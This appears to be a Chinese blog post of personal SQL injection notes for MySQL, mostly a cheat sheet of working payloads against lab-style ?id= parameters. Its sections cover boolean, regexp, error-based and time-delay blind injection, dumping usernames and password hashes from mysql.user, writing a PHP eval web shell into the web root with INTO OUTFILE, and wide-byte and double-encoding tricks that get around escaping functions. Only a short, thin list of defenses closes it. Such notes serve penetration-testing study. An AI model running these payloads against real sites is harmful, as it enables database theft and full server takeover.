LOADING STUFF...

MYSQL:SQL注入小笔记

MYSQL:SQL注入小笔记–>

1.sql注入的原理

所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意的)SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。

2.常用的软件

awvs

appscan

burpsuite

明小子

啊D

sqlm

3.SQL注入分类

布尔类型注入

报错型注入

可联合查询注入

可多语句查询注入

基于时间延时注入

4.常用的系统函数:

version() —— MYSQL版本

user() —— 数据库用户名

database() ——数据库名

@@datadir————数据库路径

@@version_compile_os ——操作系统版本

5.字符串连接函数

concat(str1,str2,…)——没有分隔符地连接字符串

concata_ws(separator,str1,str2,…)——含有分隔符地连接字符串

group_concat(str1,str2,…)——连接一个组的所有字符串,并以逗号分隔每一条数据

6.一般用于测试是否有注入的语句

or 1=1 –+

‘ or 1=1 –+

” or 1=1 –+

) or 1=1 –+

‘) or 1=1 –+

“) or 1=1 –+

“)) or 1=1 –+

一般的代码形势为:

$id=$_GET[ ‘ id ‘ ];

$sql=”select * from users where id=$id limit 0,1″

添加语句后:

$id=$_GET[‘ ‘ or 1=1 –+
‘];

$sql=”select * from users where id=’ ‘ or 1=1 –+
‘ limit 0,1″

7.万能密码

‘ or 1=1 –+

8.注入流程

猜数据库——猜数据表——猜表里的列名——猜所需要的数据

猜数据库:

select schema_name from information_schema.schemata

猜某库的数据表:

select table_name from information_schema.tables where table_schema=’数据库名’

猜某表的所有列

Select column_name from information_schema.columns where table_name=’users’

获取某列的内容

Select *** from ****

9.盲注:

1.基于布尔SQL盲注————-构造逻辑判断

left(version(),1)>5 猜MYSQL版本(数字5是自己设置的,比如是5.5的,取得第一位是5,

5!>5,所以会报错)

length(database())>5 猜数据库的长度

left(database(),1)>’s’ 猜数据库的名字

‘ union select 1,group_concat(user,password),3 from mysql.user –+ 查询用户名和密码

?id=0′ union select 1,database(),3 –+

查询当前数据库在有回显的时候

‘ and 1=1 union select 1,group_concat(username),3 from security.users–+

在有回显的情况下,查询security库里users表里username的值

ascii(substr((select table_name from 猜数据库information_schema里的

information_schema.tables where tables表里的table_name列里的第一

table_schema=’security’ limit 0,1),2,1))=109 –+ 个值的第二个字母条件是属于

security这个数据库里

ascii(substr((Select column_name from 猜数据库information_schema里的

information_schema.columns where columns表里面的column_name列里的

table_name=’users’ limit 0,1),1,1))=117 –+ 第一个值的第一个字母,条件是属于

users这个表里

?id=1′ and length((select schema_name from information_schema.schemata limit 0,1))=18

–+ 查询所有数据库的长度

?id=1′ and length((select table_name from information_schema.tables where

table_schema=’dvwa’ limit 0,1))=9 –+ 查询表的长度

?id=1′ and length((select column_name from information_schema.columns where

table_schema=database() and table_name=”users”limit 0,1))>1 –+ 查询列的长度

2.regexp正则注入

id=1′ and 1=(user() regexpri’^’) –+

查看当前操作的用户

id=1′ and 1=(database() regexp’^s’) –+

查看当前数据库

‘ and length((select schema_name from information_schema.schemata limit 8,1)) –+

通过改变limit的值判断有多少个数据库

‘ and length((select schema_name from information_schema.schemata limit 0,1))=18 –+

判断第一个数据库的长度

?id=1′ and ((select schema_name from information_schema.schemata limit 0,1) regexp

‘^i[a-z]’ )=1 –+

正则猜测第一个数据库的名字

?id=1′ and length((select table_name from information_schema.tables where

table_schema=’dvwa’ limit 1,1)) –+

通过改变limit的值判断dvwa库里有多少个表

?id=1′ and length((select table_name from information_schema.tables where

table_schema=’dvwa’ limit 0,1)) =9 –+

判断dvwa数据库里第一个表的长度

?id=1′ and ((select table_name from information_schema.tables where

table_schema=’dvwa’ limit 0,1)regexp ‘^g[a-z]’ )=1 –+

正则猜测dvwa数据库里第一个表的名字

?id=1′ and length((select column_name from information_schema.columns where

table_schema=’dvwa’ and table_name=’users’ limit 7,1)) –+

通过改变limit的值判断dvwa库里的users表里有多少个字段

?id=1′ and length((select column_name from information_schema.columns where

table_schema=’dvwa’ and table_name=’users’ limit 0,1))=7 –+

判断dvwa数据库里users表里的第一个字段的长度

?id=1′ and ((select column_name from information_schema.columns where

table_schema=’dvwa’ and table_name=’users’ limit 0,1) regexp ‘^u[a-z]’ )=1 –+

正则猜测dvwa数据库里的users表里的第一个值

?id=1′ and length((select user from dvwa.users limit 4,1)) –+

通过改变limit的值判断dvwa数据库里users表里user字段里有多少个值

?id=1′ and length((select user from dvwa.users limit 0,1))=5 –+

判断dvwa数据库里users表里user字段里第一个值的长度

?id=1′ and ((select user from dvwa.users limit 0,1) regexp ‘^a[a-z]’ )=1 –+

正则猜测dvwa数据库里的users表里的user字段里的第一个值

like 匹配注入:select user() like ‘ro%’

3.基于报错的SQL盲注

concat 计数 0x3a 站位 :

a 给concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))命的名字

select exp(~(select * FROM(SELECT USER())a))

//Exp()为以 e 为底的对数函数;版本在 5.5.5 及其以上

‘ and extractvalue(1,concat(0x7e,(select @@version),0x7e)) #

se//mysql 对 xml 数据进行查询和修改的 xpath 函数,xpath 语法错误

‘ and updatexml(1,concat(0x7e,(select @@version),0x7e),1) #

//mysql对xml数据进行查询和修改的 xpath 函数,xpath 语法错误

select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;

//mysql 重复特性,此处重复了 version,所以报错。

注:只能用于低版本的数据库5.0.12

?id=1′ union select 1,count(*),concat(0x3a,0x3a,(version()),0x3a,0x3a,floor(rand(0)*2))a from

information_schema.columns group by a –+

查询当前数据库的版本

?id=1′ union Select 1,count(*),concat(0x3a,0x3a,(select

database()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a –+

查询当前的数据库

?id=1′ union Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a

from information_schema.columns group by a –+

查询当前的用户

?id=1′ union select 1,count(*),concat(0x3a,0x3a,(select count(*) from information_schema.

schemata),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a –+

查询有多少个数据库

?id=1′ union select 1,count(*),concat(0x3a,0x3a,(select schema_name from information_sch

ema.schemata limit 0,1),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group

by a –+

查询所有数据库里第一个数据库的名字

?id=1′ union select 1,count(*),concat(0x3a,0x3a,(select count(*) from

information_schema.tables where table_schema=’dvwa’),0x3a,0x3a,floor(rand(0)*2))a from

information_schema.columns group by a –+

查询dvwa数据库里有多少个表

?id=1′ union select 1,count(*),concat(0x3a,0x3a,(select table_name from

information_schema.tables where table_schema=’dvwa’ limit 0,1),0x3a,0x3a,floor(rand(0)*2))a

from information_schema.columns group by a –+

查询dvwa数据库里的第一个表的名字

?id=1′ union select 1,count(*),concat(0x3a,0x3a,(select count(*) from

information_schema.columns where table_schema=’dvwa’ and table_name=’users’

),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a –+

查询dvwa数据库里users表里有多少列

?id=1′ union select 1,count(*),concat(0x3a,0x3a,(select column_name from

information_schema.columns where table_schema=’dvwa’ and table_name=’users’ limit

0,1),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a –+

查询dvwa数据库里users表里的第一个列名

?id=1′ union select 1,count(*),concat(0x3a,0x3a,(select count(*) from dvwa.users

),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a –+

查询dvwa数据库里users表下有多少个值

?id=1′ union select 1,count(*),concat(0x3a,0x3a,(select user from dvwa.users limit

0,1),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a –+

查询dvwa数据库里users表下的第一个数值

4.基于时间的sql盲注——延时注入(重点,很多地方都是用的延时注入)

判断当前长度

If(ascii(substr(database(),1,1))>115,0,sleep(5)) –+

如果前面执行的正确执行0就为假 ,如果前面错误则执行后面sleep(5)延迟5秒

当逗号被过滤是的小技巧:

select case when (substring((select flag from flag ) from 1 for 1 )=32) then sleep(5) else 1 end

5.导入到文件

?id=1′ union select 1,2,version() into outfile”D:\\phpStudy\\PHPTutorial\\WWW\\cmd.txt” –+

把当前版本导入到D:\\phpStudy\\PHPTutorial\\WWW\\cmd.txt里 cmd.txt是自己设置的,没有会自

动新建

?id=1′ union select 1,2,”<?php @eval($_POST[‘cmd’]);?>” into outfile

“D:\\phpStudy\\PHPTutorial\\WWW\\cmd.php” –+

把一句话导入到D:\\phpStudy\\PHPTutorial\\WWW\\cmd.php下,不存在时也会自动创建

注:一句话是字符串所以必须要加””号,//是为了防止过滤

6.宽字节注入

原理:首先,在PHP中,用于转义的函数有addslashes,mysql_real_escape_string,

mysql_escape_string等,还有一种情况是magic_quote_gpc=on,不过高版本的PHP将去除这个

特性。

addslashes ()函数返回在预定字符之前添加反斜杠的字符串。如(‘ ,”, \等)

mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符

如(\x00,\n,\r,\,’,”,\x1a)

mysql_escape_string — 转义一个字符串用于 mysql_query注: mysql_escape_string() 并不转

义 % 和 _。

有些时候空格被过滤可以用+号代替

?id=-1%df%27 union select 1,(select table_name from information_schema.tables

 where table_schema=0x6d7973716c limit 0,1),3–+

有显示位的情况下查询msql数据库里的第一个表名(注:当查询语句里也需要引号直接把需要查询

的东西通过16进制进行转换就不用加 ‘ 引号了)

gbk编码

防止宽字节注入的方法:

mysql_set_charset(“gbk”)和mysql_real_escape_string()函数结合使用

7.二次编码注入

urldecode()函数 把输出的进行编码

id=-1%2527  union select 1,(select concat(username,password) from sqlinject.admin

  limit 0,1),3 –+

%2527就是起到欺骗的作用让前面addslashes认为不是单引号

8.防御方法:

1.使用正则表达式过滤传入的参数

2.对特殊字符进行过滤

3.防御软件

4.内容参数化

感谢各位大佬赏脸,有什么不足的地方请多多指教,谢谢!!!

本文来源 互联网收集,文章内容系作者个人观点,不代表 本站 对观点赞同或支持。如需转载,请注明文章来源,如您发现有涉嫌抄袭侵权的内容,请联系本站核实处理。

© 版权声明

相关文章